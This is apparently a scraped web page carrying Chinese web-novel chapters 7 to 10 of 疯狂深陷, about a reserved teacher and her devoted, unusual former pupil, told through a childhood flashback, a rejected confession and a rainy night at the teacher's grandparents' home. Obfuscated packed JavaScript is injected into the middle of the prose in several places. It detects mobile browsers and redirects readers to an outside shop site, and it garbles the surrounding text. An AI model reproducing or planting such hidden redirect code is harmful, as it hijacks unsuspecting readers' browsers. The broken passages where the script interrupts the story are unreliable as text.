《疯狂深陷》 7. 第 7 章·回忆 “变态!” “她就是个变态!” “好可怕喔……” “把这个小变态赶出咱们班!” “对,赶出去!赶出去!” 白鹭洲迈进云州三小六年级二班的教室时,看见一群小孩围着某个座位正吵嚷喧闹着什么,一个个嚷得面红耳赤,神情激愤如战场对敌。 她不紧不慢地走到讲台边,将拄着的手杖靠在一边,拿起胳膊肘下的教案“啪”得一声重重落在讲台上,震起薄薄一片粉笔灰。 “……吵什么吵,没听见上课铃?” 白鹭洲面无表情地扫视教室一周,声音肃冷。 “给你们一分钟时间,回到你们该回的座位上去。” 一个小男孩尖声说:“老师!你快过来看看啊,这个小变态书包里有被分成了好多块的小老鼠,全是血!” 旁边的孩子纷纷疯狂点头:“对啊对啊!” 他们还特地分开了一条路,方便白鹭洲看到那课桌上被扯开拉链的书包。 白鹭洲看了眼那只Hello Kitty的粉色卡通书包,以及包里血肉模糊的东西,又看了眼在座位上沉默着的小池柚。 白鹭洲的表情依旧平静,眼底似乎始终都没起什么波澜。 孩子们显然还在等她开口训斥池柚,或者直接把池柚拎去办公室叫家长。 可等了老半天,白老师都没开口说话。 终于,他们看见白老师的嘴开始动了,眼睛都开始蕴起闪闪的期待的光。 却听到—— “你们还有二十秒。” 白鹭洲低头看了看腕上的手表。 “坐不回去的人,抄半本《新华字典》。” 轰的一下,众人干脆利落地散去。 白鹭洲拿起粉笔开始写板书。写好半面黑板后,她转过身,看到池柚正在垂着脑袋将收拾好的书包放回桌兜里。 虽然池柚的头垂得很低,但她还是能看见池柚那双耷拉的睫毛下忍着泪花的眼睛。 白鹭洲挪开目光,拿起教案,照常上课。 这是下午的最后一节课,四十五分钟后的下课铃一响,孩子们兴高采烈地背着书包冲出去,满心都是放学后的玩乐时光。在他们那太过年幼而承载不了太多是非因果的脑袋里,俨然已经将四十五分钟前的事情全然忘记了。 池柚还没走,因为眼下池妈妈还没从国外回来,她需要等白鹭洲一起回白柳斋。 白鹭洲擦好黑板,慢条斯理地将教案都整理进文件夹。 她环顾已经空无一人的教室,弯腰拿起手杖,拄着它慢慢走下讲台,走向那个还在座位上乖乖坐着等她的小姑娘。 “老师。” 小池柚的双手攥紧大腿上的牛仔裤,一双眼还在微微发红。 白鹭洲蹲了下来,将手杖轻轻放在旁边的地面上,细长双手托起池柚的脚踝。 她让那嫩黄色的小皮鞋踩在自己的膝盖上,捻起那散落得长长的鞋带,绕起来,耐心地将它们打成规整又漂亮的蝴蝶结。 “那些老鼠不是我切的,我也不知道是哪里来的。” 池柚小声咕哝。 “我不会把动物切碎以后就那么放在包里,全是血,很脏。我起码会把那些碎块缝起来。” “三天内我会查明白是谁搞的恶作剧,周五下午的班会上叫那个人向你公开道歉。” 白鹭洲系好了鞋带,托着池柚的脚踝放下去,轻轻掸了掸膝盖上的灰。 她没有多质问池柚任何话。池柚怎么说,她就怎么信。 “可是老师,他们叫我小变态,不是因为我没有缝它们,对不对?” 池柚的手指紧紧攥着裤子,攥得有点发白。 “就算我把它们缝起来了,我在他们眼里还是个小变态,对吗?” 白鹭洲没有起来,还是蹲着,打开自己的挎包,将池柚课桌面上的文具和书本都收进去。 她一边收一边问: “你不喜欢被这么叫?” 池柚点点头,嗯了一声。 “我想……跟他们一样。”她声音有点颤抖,“我想做一个正常人。” 白鹭洲:“为什么想做正常人?” 池柚:“因为只有那样,他们才愿意带我一起踢毽子、跳皮筋,还会愿意对我笑,愿意接过我递给他们的薯片和棒棒糖……” 白鹭洲:“这对你来说很重要吗?” “嗯?”池柚似乎还不明白“重要”这个词语蕴含的意义,歪着头想了想,语序还染着孩童的黏糊,“我……我只是不想一个人被丢下,不想没有人搭理我……” “本来想和你说:别人的看法与你无关,做你自己就好。不过——” 白鹭洲拉上挎包拉链,拾起手杖,拄着它慢慢站起来。 “既然融入正常人的世界对你来说这么重要,那你平时就多花点时间,好好观察观察那些普通小孩的言行举止。你不是学习很好吗?像学习书本一样,去学习正常人的做法就好了。” 池柚盯着白鹭洲,很认真地点点头。 白鹭洲又拎起那个被血弄脏的书包,甩到肩后挂好。 她一边的肩挂着装满了小学生文具课本的成人挎包,一边的肩挂着Hello Kitty的卡通小书包,拄着短手杖,对池柚说: “走吧,回家。” 池柚从凳子上蹦下来,跟在白鹭洲的身后,做起一条青涩的小尾巴。 夕阳西下。 在橘粉色的晚霞余晖里,一高一矮的两个人走在少人的校园小道上。风将桦木叶吹得沙沙作响,空气里有小花坛里传来的温馨香气。 麻雀落在枝头,啄洗翅羽。 风中挟着初夏的些许燥热,校门口,卖冰棍的小推车那边隐约传来售卖小奶糕的吆喝声。 吆喝声装在劣质的电子喇叭里,老奶奶念的每个字都像刚融化开一点的雪糕,黏黏糊糊的,十个字里面听不清八个。 拉着丝,裹着浆。 远方电线杆上,细长线绳随飞鸟的起落而颤晃。 走着走着,池柚忽然小声问: “书包弄脏了,明天该怎么办呢?” 白鹭洲没回头,语气平淡地说:“等晚上忙完了工作,我帮你洗。” 池柚:“那明天好像……也……干不了……” 白鹭洲:“它干之前,我会每天替你把课本和文具带来学校。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992109|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池柚:“替我带?” “嗯。”白鹭洲用目光示意了一下自己肩上的成人挎包,“就像现在这样,装在我包里就好。” “……谢谢您。” 池柚很轻地说。 白鹭洲:“没事,没有很重。” 小学生的课本而已,没几本书。 池柚摇摇头,“不只是谢这个。” 白鹭洲:“嗯?” 池柚窘迫地笑了笑,解释:“如果是以前的班主任老师,他肯定会直接给妈妈打电话的。虽然妈妈是相信我的……但是我懂,妈妈相信我是因为她是我妈妈。班主任老师相信大家的话,是因为大家都那么说,也、也不奇怪,他是……班主任嘛,他要照顾更多的小孩子的,因为班上不止有我一个人……” 虽然池柚口齿不太清晰,也有一点语无伦次,但白鹭洲明白她的意思。 “所以谢谢您,老师。”池柚抬头望着白鹭洲,眼里闪着亮晶晶的光,“您愿意帮我洗书包,还愿意相信我哎。” “师生之间,这不是应该被感激的事。”白鹭洲淡然道,“帮一个需要被帮的学生,和相信被冤枉的学生,都是一个老师本就需要去做的事情。” 池柚不禁咧开嘴笑,笑容灿烂得可爱,短胳膊不禁在身侧一下一下晃了起来。 白鹭洲看着池柚开心的样子,眼里却有些黯然。 池柚…… 她作为一个孩子,本该从大人群体里得到的那部分体谅与理解,就因为她天生基因里不同于常人的那一部分,居然变成了一种奢望、变成了一份得到之后竟会开怀至此的珍贵。 真不知该嗟叹,还是该苦笑呢。 白鹭洲极轻地叹了口气。 池柚听到,也跟着“唉”了一声。 白鹭洲弯了弯唇,问:“你为什么学我?” 池柚:“您是老师,我当然要学您啦。” 白鹭洲:“你什么都要学啊?” 池柚:“对呀,这样长大以后,我就可以长成和老师一样优秀的人了。” 白鹭洲:“你说的‘优秀的人’,指的是什么样的人?” 池柚:“就是……就是能帮助别人、让别人开心起来的人!” 白鹭洲笑了一笑,缓缓说: “行啊。以后,就成为这样的人吧。” 池柚盯着白鹭洲,眼睛依旧亮亮的。 她忽然很认真地问对方: “那我以后和妈妈一样学医,当医生,帮好多好多人,救好多好多人,老师您说好不好?” 白鹭洲:“你觉得好就好。” 池柚:“老师您想看见我当医生吗?” 白鹭洲想象了一下那个场景与画面,“嗯……”她只是轻轻嗯了声,语气模糊,再没表更多的态度。 池柚却笑道:“那好那好,我就当医生啦!” 池柚拽住白鹭洲的袖口,蹦蹦跳跳起来,兔子一样拽着对方向校门口走。白鹭洲被拉着袖子,肩上的书包带与挎包带都不由地往下滑,她一边扶起包带挂回肩头,一边耐心地说“慢一点”。 夕阳落下。 粉橘色的余晖渐渐散去,微暗的暮色里,两个人在林荫小路的尽头向右转。 8. 第 8 章 右转过街头没几步就是停车场,白鹭洲的车便停在这里。 刚刚白鹭洲说要带自己回白柳斋吃饭,池柚一时高兴,没想太多,走到车前面才想起把黎青一个人丢在咖啡厅有些不好,忙拿出手机给黎青发消息。 【池柚:对不起啊黎师姐,不能陪你一起回宿舍了。】 黎青很快就回复了。 【黎青:唉,小柚子心里最重要的果然还是那个姓白的。算啦算啦,难得看到你那么开心的样子,就好好地去吃个饭吧。】 【池柚:谢谢师姐[猫咪挤眼.jpg]】 池柚发完表情包,一抬头,才发现白鹭洲已经打开车门等着她有一会儿了。 在池柚收起手机低着头向副驾驶座钻时,白鹭洲忽然有些淡漠地开口,问: “她是你的师姐?” “刚刚跟我一起的那个姐姐吗?” 池柚刚坐下,被白鹭洲这一句话问得忽而有些不安,两只手抻直了按在膝盖上,手指捻着裤子攥来攥去。 “她……说算也算吧。我们现在读研是同级的同学,不过之前读本科的时候,我跟黎姐姐也在一个学校,那时她是大我一级的师姐。” 白鹭洲点点头。 “嗯。有这样一个联系紧密的同学是好事,你们是同行,以后不论各自在哪工作,有事都可以互相帮衬。” “……啊,是。” 池柚也跟着点了点头,眼神飘向脚下,嗓音小到有些模糊。 白鹭洲绕到另一边上了车。 她系好安全带,轻轻拧动钥匙,打着车子。 “老师……真的很像我的家长呢。” 车开始走了。 池柚看着车窗外开始变化的景物,扯起唇角笑了一笑。 “您和我说的很多话,妈妈,姥姥,姥爷,好像也都和我说过。比如……催我找规培的单位,劝我摆正心思去想一想未来发展的事。还有、还有询问我身边出现的朋友,然后又拉扯回‘前途’这个问题上,你们如果知道这个人会对我的未来有帮助,脸上就会出现很欣慰的表情。” 白鹭洲扶着方向盘,眉目平静。 “我的确是你的长辈。” 池柚:“……” 她别开脸,眼睑蓦地抽了一下。 白鹭洲又开口,似是不经意,却又缓慢郑重得仿佛语重心长: “应该没有谁会不把自己的小学老师当做长辈吧。” 池柚扭过身,胳膊支在车窗边,撑在颊边的指骨陷进腮肉里。 她装作去看路边一闪而过的小野猫,也装作没听到白鹭洲那句话的样子。 九月的云州已经开始慢慢变冷。 车窗缝隙里吹来的风撩起池柚额前的碎发,发梢挠过她的眉心,她用指腹蹭了蹭痒的地方。手放下来时,指尖还带着秋风的冰凉。 “好冷哦。” 池柚无意识地喃喃自语。 白鹭洲在开车的间隙向旁边瞥了一眼。 她看见池柚抱着胳膊缩在皮座椅里,瘦瘦小小的一个,白色短袖T恤和淡蓝色背带牛仔裤在这小身体上都显得有些太大了,普通版型也穿成了宽大码的感觉。 因为池柚是望着窗外的,所以白鹭洲还多看了两秒她的背影。 池柚在耳后的位置编了一条小辫子,辫子的起始位置别了一只白贝母做翅膀的蝴蝶发卡,光影变化,贝母上便闪起珊瑚般的彩光。 蝴蝶像是落在了开满七色花的秋夜花园,铺满鳞粉的翅膀,折射着不可降解的夏天。 “……” 不论如今什么年纪,池柚总是会让白鹭洲想到那些玻璃橱窗里摆着的布偶娃娃。 那么天真,那么纯白。小辫子上都束满“可爱”两个字。 白鹭洲忘记自己在刚刚的那两秒里有没有笑过。 她只是在回过头看路时,恍惚地变更了一下表情。后知后觉的,也不记得刚刚自己的大脑里在想什么。 她关了副驾驶那边的车窗。 “……冷就少吹点风。” 也没问一下池柚的意见,就算关心,语气都透着疏离。 池柚却不在意,只是转过头来,向着白鹭洲傻气兮兮地笑了一笑。 “嘿嘿。” . 到了巷口,照例把车停在外面的空地,然后两个人下车,徒步走进弯弯绕绕的胡同。 找到两尊石狮子,进白柳斋。 白碧英和李恩生都对池柚的到来感到惊喜,热切地表示了欢迎。 白碧英拉着池柚去茶桌时顺口问白鹭洲是怎么和池柚遇上的,白鹭洲只说是偶然碰见,池柚也不多说什么。 “我记得你还是个小娃娃呢,转眼就长这么——” 白碧英打量了一下池柚的身高,顿了顿,硬是把那个吐出口一半的“高”字给咽了回去。 “哎,虽然现在也是个小不点个头,不过比起小时候,那还是变化很大的!” 李恩生端上洗得水淋淋的大鸭梨,笑得很是和蔼: “洲洲很少带她的学生回来这边呢,不过池同学你本来就不一样,小时候就在这边住过,也算老贵客了?” “嗯!” 池柚使劲点头。 “哎呀这小姑娘,现在长得,真是招人稀罕……” 李恩生慈祥地拉着池柚,满意地看来看去。像是逮住了一个爱不释手的毛绒玩具,一会儿拉她去吃糕点,一会儿拉她去冰箱挑汽水喝。 “唉,说起洲洲的‘学生’,我就想起之前那个臭小子。” 白碧英翘起二郎腿坐在太妃椅里,拎起茶杯盖吹了吹上面的浮沫。 “你说都是学生,差别怎么就那么大呢?” 正给池柚拿汽水的李恩生直起腰来,声音一沉。 “提他干什么?” “怎么,还念叨不得了?” 白碧英喝了一大口茶,啐了口茶渣。 “乳臭未干的毛小子,年纪轻轻不安心读书,学那些不正经的想搞什么师生恋,追洲洲都追到白柳斋来!一口一个老师还喊着呢,一点都不知道廉耻,那段时间咱家洲洲被邻里戳脊梁骨议论成什么样子,我现在提起来都生气!” 池柚开汽水的动作顿住。 “邻居们不知道具体情况,传着传着可不就要说洲洲的不是?毕竟她是老师,是年长的那一方。” 李恩生叹了口气,提着铝水壶走去给奶奶的杯子里加了点热水。 “学生能被说是年轻气盛,不懂事,还不开化。但洲洲作为老师,把不开化的学生教成了这个样子,起码也要被人嘴上几句引导不当吧。更有那坏心思的小人添油加醋,说是洲洲师德不正主动勾搭的。再说了,别人不知道,你难道还不知道,有些事儿还是跟过去一样,但凡那些烂糟事儿里牵扯到女人,就什么事都能赖到女人身上……嘴长在人家身上,咱们没法管,只能看开点啦。” 汽水盖子被顿挫地拉开,溢出的泡沫顺着瓶口淌下,流到了池柚的手上。 池柚却没反应。 一直沉默的白鹭洲忽然站起身,向外走去。 “我去院子里坐会儿,池柚。” 她叫了声池柚。 还在发呆的池柚愣愣抬头。 白鹭洲:“一起去吧,帮我也拿一瓶汽水。” 池柚:“哦……好。” 天色已暗,幽深小院正中一棵茂盛的石榴树下,放置了一张圆形石桌和几墩矮石凳。满地铺着碎石子,石子上落着一些还未打扫的细碎花瓣。走过去,会发出石子挤压的咯吱声。 沙沙—— 沙沙—— 风拂过,树叶摩擦响动。 池柚走过去,将没开封的汽水放到白鹭洲面前。 她自己的那一瓶泡沫已经散去,饮料水位低了些许。 白鹭洲将没有开封过的完好汽水推到了池柚那边,自己拿过那瓶散了气的。 “坐吧。” 看池柚坐下,她又问: “外面有点凉,要帮你拿件外套吗?” 池柚摇摇头。 “不用了。” 白鹭洲嗯了一声。 她侧过脸,从大衣口袋里取出了杜明磊的名片。 池柚:“这是……” 白鹭洲:“这是我的一个朋友,他说可以帮你解决规培的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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池柚:“……为什么?” 白鹭洲:“因为怕你觉得,我这是在给你回应。” 池柚恍惚了一瞬,“那这是什么?” 白鹭洲的目光寸也不移地落在池柚的脸上,字字分明地回答: “我只是,在帮我的一个学生,而已。” 池柚:“一点私心都没……” 白鹭洲:“没有。” 池柚:“就是说,要是老师的其他学生也遇到难处,老师也会……” 白鹭洲:“也会这样。一模一样。” 也会这样。 一模一样。 这一秒,脑海里一记剧震。 池柚深吸了一口气。 “如果您是怕我会像之前那个男同学一样让您困扰,我会改,我会不那么张扬地追求您,我也绝对不会追到你们家里来。我……我只想继续给您送糖,送奶茶,还有花,如果老师也不想让我去您的学校,那我、我可以每天等在您下班的路边,悄悄地……我绝对不让任何人看见,不会给别人任何嚼舌根的机会,不让您挨任何、任何、任何……” “池柚。” 白鹭洲打断她。 池柚被打断后,还紧张地急促喘气。 她在语言表达方面本来就有一些障碍,平时更是很少会说这样大段落的话。刚刚这段语无伦次的话她说得太急,也太大胆莽撞,于是气血上涌导致脑袋有些胀晕,呼吸时气息都在颤抖。 “我不接受之前那个男生,不是因为他的做法不得体。同样,我不接受你,也不是因为你做得不够好,或者是因为怕人嚼舌根。” 白鹭洲慢慢说道。 “其实我不接受你或者他,只有一个原因。” 池柚垂下的手也跟着抖了起来。 白鹭洲:“我知道,这年代师生恋已经不是什么稀罕事了,或许还有一些人觉得这件事很刺激,很带感。但不论别人怎么以为,仅对我来说——在我的世界里,我从来没有考虑过和学生在一起的可能。无关道德,也无关流言是非。” 池柚:“……” 白鹭洲:“你懂了吗?我就是单纯不会考虑这个可能。” 池柚:“……” 白鹭洲:“就像异性恋不会考虑和同性者交往的可能,就像同性恋不会考虑和异性者交往的可能。从你成为我的学生那天起,你就已经绝对不可能出现在我的感情取向里了。” 9. 第 9 章 白鹭洲撒谎了。 她不知道自己具体在哪句话里撒了谎,但她知道事实不是她自己口中所说的那样。 有时候人确实是会这样。 虽然不清楚自己在哪一句里口是心非,但她自己能感受到,刚刚的那一分钟里,她的确说了假话。 她想了想,觉得自己可能是在师德方面撒了谎。 她说:她不接受池柚,只是纯粹的没有这个想法,无关道德,无关流言。 可其实她明白,自己的选择不是完全无关道德的。她心里还是遵循着十分坦然浩荡的师德,所以才认为不可以和曾经的学生有一丝丝的暧昧。 邻居们起码有一句说得很对,她是老师,是那个年长者,是那个引导者。 她从来都不怕什么流言。但她……她应该会害怕,因为自己一个念头的偏移,或者一次态度的不明,而引错一个孩子的一生。 和池柚说这么绝情又残忍的话,应该只是想用这种冷漠态度再次引导她走回正路吧。 应该吧。 好像所有的话里,都嵌着“应该”这样一个字眼。 或许…… 或许她也对自己心底最真实的心绪,通通不确定。 不知道,不明白。 模糊着的,像蒙着一片氤氲大雾似的双眼。 她忽然看不透这一刻的自己。 秋风好冷。 石榴花叶簌簌落下。 爷爷从里屋探出头来,大声向这边喊道:“预报说马上要下大暴雨了!池同学,你今天别走了吧,和洲洲睡一间,明早叫洲洲直接送你去学校!” 奶奶在里面附和:“是啊,别走了,住一晚!就和以前一样的,你俩一张床上挤一挤就好了。” 要下雨了吗? 白鹭洲抬起头,看了眼在傍晚天空中并不明显的团团乌云。 可是如果留池柚留宿的话…… 一张床……池柚已经长大了,可能挤不下了吧…… 她正在思索两个人的身量大小与那张单人床的事情时,却听到池柚开口: “算啦,我先回去了。” 嗓音闷而湿润,是才将流过眼泪后的那种落魄。 池柚轻轻地站了起来。 她的眼睛很红,眼角和颧骨也揉得有点发红了。 白鹭洲搁在石桌上的手指缩了一下。 她绷紧了脸,吐出三个字:“哭什么。”没有抑扬顿挫的平淡短句,生硬得甚至听不出来是个问句。 池柚说:“对不起。” 她说:对不起。姿态好像一个做错了事情,正低着头等待训斥的小孩。 这让白鹭洲本就莫名低落的心情更加闷沉。 ……可仍旧是找不到原因。 白鹭洲:“我说这些话是为了你好。” 她说这一句时很严肃,仿佛还是平日讲课授道,每个字都极力地想要以理服人。 池柚:“嗯,我知道,谢谢老师。” 她依旧温顺地应下,仿佛永远是对方带过的最乖巧的学生。 说话间,雨已经开始丝丝密密地坠入大地。 感受到雨落,池柚飞快地揩了一下眼角,匆忙说:“我要走了。” 白鹭洲皱了皱眉,“这么晚了你怎么走?这里很难打车,网约车也不好叫。我晚上还有重要的工作要做,没有时间送你。” 池柚:“我……” 白鹭洲:“而且晚饭也还没吃,爷爷奶奶他们都已经煮一半了,现在走很不礼貌。” 池柚不知道白鹭洲是想要留她,还是真的嫌送她回家太麻烦,亦或是实实在在地训斥她不懂礼教。 她微垂了头,双手的手指绞成一团,声音很小地回: “那老师,您怎么安排,我都听您的。” “……住一晚吧,我给你另收拾一间屋子出来。” 白鹭洲也站起来,端起两瓶都没怎么喝的汽水向屋里走去。 “雨要大了,进来继续喝。” 呼—— 池柚缓缓吐出一口气,细密雨雾已经蒙上了她的眉毛和睫毛。她隔着这样的雾,还站在原地,望向白鹭洲走进门的背影。 她有一瞬间很想趁这个时候,直接转身悄悄离开。 回家,或者回姥姥那里,只要回到一个有毛茸茸的小兔子的地方就好。 可是白鹭洲在踏进门槛时忽然转过头。 “还不进来?” “……来了。” 算了。 既然老师说出了这句话,那她就留一晚吧。 明天再想办法去抓只毛茸茸的兔子来好好地开膛破肚好了。 心情不佳的情况下,池柚想要切割解剖血肉的欲望会更加难以克制,想法上来了就会马上去做,否则全身就像爬满蚂蚁一样又刺又痒。 不过,白鹭洲好像可以永远排在她所有的“变态冲动”之前。 她眨了眨眼,跟过去。 兔子一样可爱的少女,暂且放下了割开兔子喉咙的计划。 . 奶奶做了很多家常小菜,她说也不记得池柚当年爱吃什么了,就都做了一些。 烧得油滋滋的话梅糖醋小排,焦黄流汁的红烧鸡翅,香喷喷的外婆菜和还在冒热气的小荷叶饼,配上一些之前白鹭洲带来的老式点心,都装在精致的青花瓷盘子里,摆满一桌。 奶奶端上最后一盘菜,在围裙上擦手,问池柚: “我好像记得你爱吃豆花,可惜这回家里没有,下次来提前说一声,我去早市给你买好。可我不太记得你是吃甜豆花还是咸豆花了……” “是甜豆花。” 白鹭洲先回答了。 “奶奶你忘了?只浇一勺醪糟,别的什么都不加。” 奶奶笑道:“唉,我是真忘了。当时我只负责买豆花嘛,每天早上都是你亲手给她做的,你肯定记得比我清楚了。” 白鹭洲浅浅一笑:“有天晚上还让爷爷逛超市的时候多买了两瓶醪糟呢。” 奶奶:“你这么一说我倒是有印象了,哈哈。” “不了吧,太麻烦了。” 池柚捧着碗抬起眼,只露了半个小脸出来。 她嘟嘟囔囔的,嗓子萎得又细又弱。 白鹭洲:“嗯。长大了,少吃点甜的也好。” 池柚听了,眉毛委屈地一皱,齿尖在陶瓷碗沿上咔呲咔呲地咬出声。 白鹭洲夹了一块肉进自己碗里,头没抬,说:“池柚,耗子才啃碗。” 池柚停住,含住碗沿,喝进一大口粥。 消停了。 吃过饭后,奶奶拽着不让池柚走,又拿出了雪糕和西瓜给她吃。 白鹭洲一个人去了小院偏房,将小房间收拾出来给池柚住。 偏房闲置了很久,灰很大。也难怪白碧英第一时间想的是叫池柚和白鹭洲挤一挤,这间房要收拾的话很需要一些时间。 约摸收拾了近一个小时,白鹭洲正端来一盆干净水准备再涮一遍抹布时,忽然听见后面有池柚的脚步声。 池柚走路总是拖拖沓沓的,好像永远穿了大一码的鞋子,每次都趿拉着趿拉着,磨蹭地跐过来。 就像她本人一样,就连她的脚步声,听起来都是一副懦弱可欺的模样。 所以很好认。 白鹭洲把滑下来的袖口又挽了上去,继续涮抹布。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992111|137123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吃完了?” “吃完了。” 池柚的肚子撑得圆鼓鼓的,嘴里还含着一块白碧英硬塞给她的梨膏糖。 “我来……唔……帮忙干活。” 白鹭洲:“不用了,还差一点就干完了,你在旁边站着消消食吧,省得你脏手。” 池柚:“好。”她听话地站到不会碍事的墙根去,抚着肚皮。 白鹭洲一边干活一边随口问:“饭还吃得惯吗?” 池柚:“很好吃,我吃得很饱,谢谢老师。” 白鹭洲:“所以明早要吃豆花吗?” 池柚:“……嗯?” 白鹭洲重复:“明早要吃豆花吗?” 池柚愣了愣,睁大眼睛。 “可以吗?” 白鹭洲起身去放抹布,因为蹲得太久,走的前两步有些瘸。“想吃就说想吃,也没有很麻烦。再口是心非地瞎客气,我就真的不做了。” 池柚忙说:“我想吃。” 白鹭洲撑着桌子,还湿着的手搁在腿上,揉捏了几下。 她的踝骨似乎痛得有点厉害,缓了一小会儿也没缓过来。 池柚走近了过来,站在白鹭洲面前,低头端详了一阵子。 在白鹭洲还在揉腿的时候,池柚突然蹲了下去。 她向前探着脑袋,目光炽烈地盯着白鹭洲的脚踝,随后大眼睛一抬,直勾勾地看向白鹭洲,羞耻心被狗吃了似的,径直问: “老师,我可以摸一下吗?” 白鹭洲微怔。 她下一秒就红了耳朵,决然道: “不可以!” 话落,白鹭洲还向后退了两步,生怕这个小崽子不知天高地厚地摸上来似的。 “我可以帮你按一按,也可以帮你检查一下现在钛板的情况。” 池柚举起自己的手。 “我解剖过很多人体,尤其是踝骨部位,我比大部分人都了解那里的肌肉、筋络、血管的走向,比按摩师都了解。按摩师只按过表皮,但我这双手可是插到过肉里面的……” 白鹭洲:“闭嘴。” 池柚应声闭上了嘴巴。 白鹭洲的眼尾抽了又抽,强压下黑脸的冲动,“你说起这些,倒是不结巴了?” 池柚单纯地笑了起来:“因为了解啊。” 白鹭洲皮笑肉不笑了一声,又问:“你怎么知道我距骨里有钛板?” “这很难猜么?老师你以前走路是瘸的,现在不拄拐也不怎么瘸了,肯定是做了手术。钛板确实能起到辅助作用,但它毕竟是异物,摩擦起来很有可能影响到神经。平时走起路来,是不是还很疼呢?” 池柚看着白鹭洲,叹了口气。 “可是老师好像从来都没表现出来过,一定忍得很辛苦吧。” 白鹭洲的脸色恍惚了一瞬。 顷刻间,她又立即找回了表情管理,沉着地压下眼底的动摇。 “不需要你操心这些。” 池柚熟稔地忽视掉白鹭洲的冷漠,露出一张干干净净的笑脸,再次举起自己的双手,做出按摩的手型。 “老师,要不要我来救救你?” …… 白鹭洲看着此刻蹲在地上小小一团的池柚,忽然地,想起很多年前在校园林荫路上,那个跟在自己身后的小池柚。 小小的,矮矮的人,在晚霞余晖中,在校外老奶奶买冰棍的吆喝声里,抬着一双寸尘不染的眼睛望向她。 那时池柚对自己说: 我以后当医生,帮好多好多人,救好多好多人,老师你说好不好? ——原来…… ——这好多好多人里,也……会包括……她吗? 10. 第 10 章 池柚是真心实意想要为白鹭洲按摩一下脚踝的,但显然白鹭洲不会轻易同意这样的亲密接触。 于是没两句,这个话题就不了了之了。 白鹭洲不想再同池柚多聊的样子,端着用盆装好的打扫用具准备离开。走之前神情正常地说:“有什么事可以来敲我的门,我的房间还是老地方。” 池柚点点头:“好。” 白鹭洲扭头向门口走去。 池柚又说:“老师,早点休息。” “嗯。”白鹭洲没回头,冷淡地应了一声。 白鹭洲走后,池柚才有心思东转转西转转,认真看看这间客房。 房间很空,只有一架古雕木床和一套红木的桌凳。墙角立了个很大的木衣柜,冷森森地卧在光线阴暗的一隅。 头顶是那种很老的白炽灯,搪瓷的老灯罩,能清楚地看见裸露在外的圆头灯泡。灯泡被白鹭洲很仔细地擦过了,透明如无物,只一弧细浅的轮廓线。 这里几乎看不到什么现代化的影子,一切都还浸泡在上个世纪的沙海里似的。 外面已经开始下大雨了,木窗被吹出咯吱咯吱的声音,家具也散发出了湿木头的味道。清苦闷沉,郁郁不散。 一番洗漱后,池柚脱去背带裤,只穿着白短袖和一条小短裤钻进被子里。 被子干燥温暖,里面的棉花应该是奶奶才弹过的新棉,蓬蓬松松的舒服极了。 窗外开始打雷。 轰隆隆。 呲——啪。 伴随着雷声与闪电声,灯泡开始不稳定地闪烁起来,发出滋滋啦啦的声音。周围瞬时忽明忽暗。 池柚马上下床,去关灯。 可她还没来得及走到开关那里,灯泡就“噗”的一声灭掉了。 “哎……” 她挠挠头,在黑暗里站了会儿,思索起来:是要直接睡觉还是修一下这个灯呢? 就在这时,她的手机屏幕忽然亮了,跳出来电显示。 或许是整个电路都出了问题,有可能是爷爷奶奶、又或是白鹭洲给她打来询问状况的。不过……老师好像一直都没存她的号啊,爷爷奶奶也不应该知道她的号码才对…… 她边胡思乱想边走到桌边拿起手机。 嗯? 是黎青? 池柚接了起来,“黎师姐。” 黎青懒懒地应了一声,问:“都这么晚了,你还不回宿舍,是不是要在外面睡了呀?” 池柚:“今天雨太大了,我在老师家里住一晚。” 黎青:“哟,直接在她家留宿了,你们这进展是坐了火箭啊,两年多都没走完的进程一晚上走完?” “不不。” 池柚赶紧回答。 “这是她爷爷奶奶家,我一个人睡在客房……” 听完池柚的详细解释后,黎青意味深长地“喔——”了一声,笑了笑,又问:“那你的意思是,还是一点进展都没有咯?” 池柚叹了口气:“倒也有一点。老师又明确地拒绝了我一次,这次的话说得比以前更绝更伤人了,这……算进展么?” “哼。”黎青嗤笑。 黎青又道:“别想太多了。这阵子你先把心思放在学校里,忙过这段课程,我带你去玩点好玩的,好不好?” 池柚:“玩什么?” 黎青:“到时候你就知道了。” 池柚闷应一声:“嗯……” 挂掉黎青的电话后,池柚的心情并没有变好一点,反而因为提及白鹭洲而低落了不少。睡意也没有了,看着眼前的黑暗,她寻思:反正也睡不着,还是修一下这个灯算了。 池柚推开门,正想去找伞,却忽然发现早在收拾屋子的时候,白鹭洲已经给她门口放了一把长柄伞。 她弯腰摸着伞柄,出神片刻。 拎起伞,她向外望了眼。心里对外面糟糕的雷雨天有点犯怵。撑开了伞,向外斜顶着走出去,拿伞柄的手都攥白了,才没叫卷着落叶的狂风吹到她脸上来。 急匆匆地穿过小院,走到记忆中白鹭洲的卧房门口,抬手就要敲门。 却转念一想:如果老师这会儿早就入睡了呢? 这个时候敲门,是不是更惹人生厌的行为?在“普通人”的世界里,这是需要把控的分寸之一吗? 风斜着吹进檐下,撩起一团如麻心事。 踌躇间,忽然听到身后疑惑询问: “你在这里做什么?” 池柚有些慌乱地转身,看见白鹭洲竟在收伞,显然是从院子另一头才回来。 